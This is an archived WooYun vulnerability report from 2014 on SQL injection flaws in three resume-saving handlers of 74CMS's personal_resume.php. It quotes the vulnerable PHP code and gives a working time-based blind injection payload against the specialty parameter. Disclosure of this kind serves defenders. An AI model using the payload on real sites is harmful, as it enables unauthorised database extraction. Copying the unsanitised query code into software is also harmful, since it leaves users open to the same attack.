当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2014-061465

漏洞标题:74CMS最新版SQL注入(同一文件多处)

相关厂商:74c,s.com

漏洞作者: 路人甲

提交时间:2014-05-19 17:53

修复时间:2014-08-17 17:54

公开时间:2014-08-17 17:54

漏洞类型:SQL注射漏洞

危害等级:高

自评Rank:20

漏洞状态:厂商已经确认

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2014-05-19: 细节已通知厂商并且等待厂商处理中
2014-05-20: 厂商已经确认,细节仅向厂商公开
2014-05-23: 细节向第三方安全合作伙伴开放
2014-07-14: 细节向核心白帽子及相关领域专家公开
2014-07-24: 细节向普通白帽子公开
2014-08-03: 细节向实习白帽子公开
2014-08-17: 细节向公众公开

简要描述:

74CMS最新版SQL注入(同一文件多处)

详细说明:

user/personal/personal_resume.php文件:
第一处SQL注入:

//创建简历 -保存基本信息
elseif ($act=='make1_save')
{
$captcha=get_cache('captcha');
$postcaptcha = trim($_POST['postcaptcha']);
if($captcha['verify_resume']=='1' && empty($postcaptcha) && intval($_REQUEST['pid'])===0)
{
showmsg("请填写验证码",1);
}
if ($captcha['verify_resume']=='1' && intval($_REQUEST['pid'])===0 && strcasecmp($_SESSION['imageCaptcha_content'],$postcaptcha)!=0)
{
showmsg("验证码错误",1);
}
$setsqlarr['uid']=intval($_SESSION['uid']);
$setsqlarr['title']=trim($_POST['title'])?trim($_POST['title']):showmsg('请填写简历名称!',1);
$setsqlarr['fullname']=trim($_POST['fullname'])?trim($_POST['fullname']):showmsg('请填写姓名!',1);
$setsqlarr['sex']=trim($_POST['sex'])?intval($_POST['sex']):showmsg('请选择性别!',1);
$setsqlarr['sex_cn']=trim($_POST['sex_cn']);
$setsqlarr['birthdate']=intval($_POST['birthdate'])>1945?intval($_POST['birthdate']):showmsg('请正确填写出生年份',1);
$setsqlarr['height']=intval($_POST['height']);
$setsqlarr['marriage']=intval($_POST['marriage']);
$setsqlarr['marriage_cn']=trim($_POST['marriage_cn']);
$setsqlarr['experience']=intval($_POST['experience']);
$setsqlarr['experience_cn']=trim($_POST['experience_cn']);
$setsqlarr['householdaddress']=trim($_POST['householdaddress'])?trim($_POST['householdaddress']):showmsg('请填写户口所在地!',1);
$setsqlarr['education']=intval($_POST['education']);
$setsqlarr['education_cn']=trim($_POST['education_cn']);
$setsqlarr['tag']=trim($_POST['tag']);
$setsqlarr['telephone']=trim($_POST['telephone'])?trim($_POST['telephone']):showmsg('请填写联系电话!',1);
$setsqlarr['email']=$user['email'];
$setsqlarr['email_notify']=$_POST['email_notify']=="1"?1:0;
$setsqlarr['address']=trim($_POST['address'])?trim($_POST['address']):showmsg('请填写通讯地址!',1);
$setsqlarr['website']=trim($_POST['website']);
$setsqlarr['qq']=trim($_POST['qq']);
$setsqlarr['refreshtime']=$timestamp;
$setsqlarr['subsite_id']=intval($_CFG['subsite_id']);
$setsqlarr['display_name']=intval($_CFG['resume_privacy']);
if (intval($_REQUEST['pid'])===0)
{
$setsqlarr['audit']=intval($_CFG['audit_resume']);
$total[0]=$db->get_total("SELECT COUNT(*) AS num FROM ".table('resume')." WHERE uid='{$_SESSION['uid']}'");
$total[1]=$db->get_total("SELECT COUNT(*) AS num FROM ".table('resume_tmp')." WHERE uid='{$_SESSION['uid']}'");
$total[2]=$total[0]+$total[1];
if ($total[2]>=intval($_CFG['resume_max']))
{
showmsg("您最多可以创建{$_CFG['resume_max']} 份简历,已经超出了最大限制!",1);
}
else
{
$setsqlarr['addtime']=$timestamp;
$pid=inserttable(table('resume'),$setsqlarr,1);
if (empty($pid))showmsg("保存失败!",0);
check_resume($_SESSION['uid'],$pid);
write_memberslog($_SESSION['uid'],2,1101,$_SESSION['username'],"创建了简历");
header("Location: ?act=make2&pid=".$pid);
}
}


fullname存在注入

1.png


第二处SQL注入:

elseif ($act=='make3_save')
{

if (intval($_POST['pid'])==0 ) showmsg('参数错误!',1);
$setsqlarrspecialty['specialty']=!empty($_POST['specialty'])?$_POST['specialty']:showmsg('请填写您的技能特长!',1);
$_CFG['audit_edit_resume']!="-1"?$setsqlarrspecialty['audit']=intval($_CFG['audit_edit_resume']):"";
updatetable(table('resume'),$setsqlarrspecialty," id='".intval($_POST['pid'])."' AND uid='".intval($_SESSION['uid'])."'");
updatetable(table('resume_tmp'),$setsqlarrspecialty," id='".intval($_POST['pid'])."' AND uid='".intval($_SESSION['uid'])."'");
check_resume($_SESSION['uid'],intval($_REQUEST['pid']));
if ($_POST['go_resume_show'])
{
header("Location: ?act=resume_show&pid={$_POST['pid']}");
}
else
{
header("Location: ?act=make4&pid=".intval($_POST['pid']));
}
}


specialty存在SQL注入

2.png


第三处SQL注入

//创建简历-保存教育经历
elseif ($act=='make4_save')
{
$resume_education=get_resume_education($_SESSION['uid'],$_REQUEST['pid']);
if (count($resume_education)>=6) showmsg('教育经历不能超过6条!',1,$link);
$setsqlarr['uid']=intval($_SESSION['uid']);
$setsqlarr['pid']=intval($_REQUEST['pid']);
if ($setsqlarr['uid']==0 || $setsqlarr['pid']==0 ) showmsg('参数错误!',1);
$setsqlarr['start']=trim($_POST['start'])?$_POST['start']:showmsg('请填写开始时间!',1,$link);
$setsqlarr['endtime']=trim($_POST['endtime'])?$_POST['endtime']:showmsg('请填写结束时间!',1,$link);
$setsqlarr['school']=trim($_POST['school'])?$_POST['school']:showmsg('请填写学校名称!',1,$link);
$setsqlarr['speciality']=trim($_POST['speciality'])?$_POST['speciality']:showmsg('请填写专业名称!',1,$link);
$setsqlarr['education']=trim($_POST['education'])?$_POST['education']:showmsg('请选择获得学历!',1,$link);
$setsqlarr['education_cn']=trim($_POST['education_cn'])?$_POST['education_cn']:showmsg('请选择获得学历!',1,$link);
if (inserttable(table('resume_education'),$setsqlarr))
{
check_resume($_SESSION['uid'],intval($_REQUEST['pid']));
if ($_POST['go_resume_show'])
{
header("Location: ?act=resume_show&pid={$setsqlarr['pid']}");
}
else
{
$link[0]['text'] = "继续添加教育经历";
$link[0]['href'] = '?act=make4&pid='.intval($_REQUEST['pid']);
$link[1]['text'] = "跳到下一步";
$link[1]['href'] = '?act=make5&pid='.intval($_REQUEST['pid']);
$link[2]['text'] = "查看我的教育经历";
$link[2]['href'] = '?act=make4&pid='.intval($_REQUEST['pid']);
showmsg("添加成功,您可以继续添加教育经历或跳到下一步 ",2,$link,true,15);
}
}
else
{
showmsg("保存失败!",0,$link);
}
}


参数speciality存在注入

3.png

漏洞证明:

以第二处SQL注入为例:

链接:http://localhost/74cms/user/personal/personal_resume.php?act=make3_save
POST:specialty=123123123' WHERE uid='1' AND id='1' And if(mid(user(),1,1)='r',sleep(5),1)#&pid=1&go_resume_show=1


当user()第一个字符为r时,延迟5秒。

修复方案:

过滤完整

版权声明:转载请注明来源 路人甲@乌云


漏洞回应

厂商回应:

危害等级:低

漏洞Rank:5

确认时间:2014-05-20 15:08

厂商回复:

经检查并无大碍

最新状态:

暂无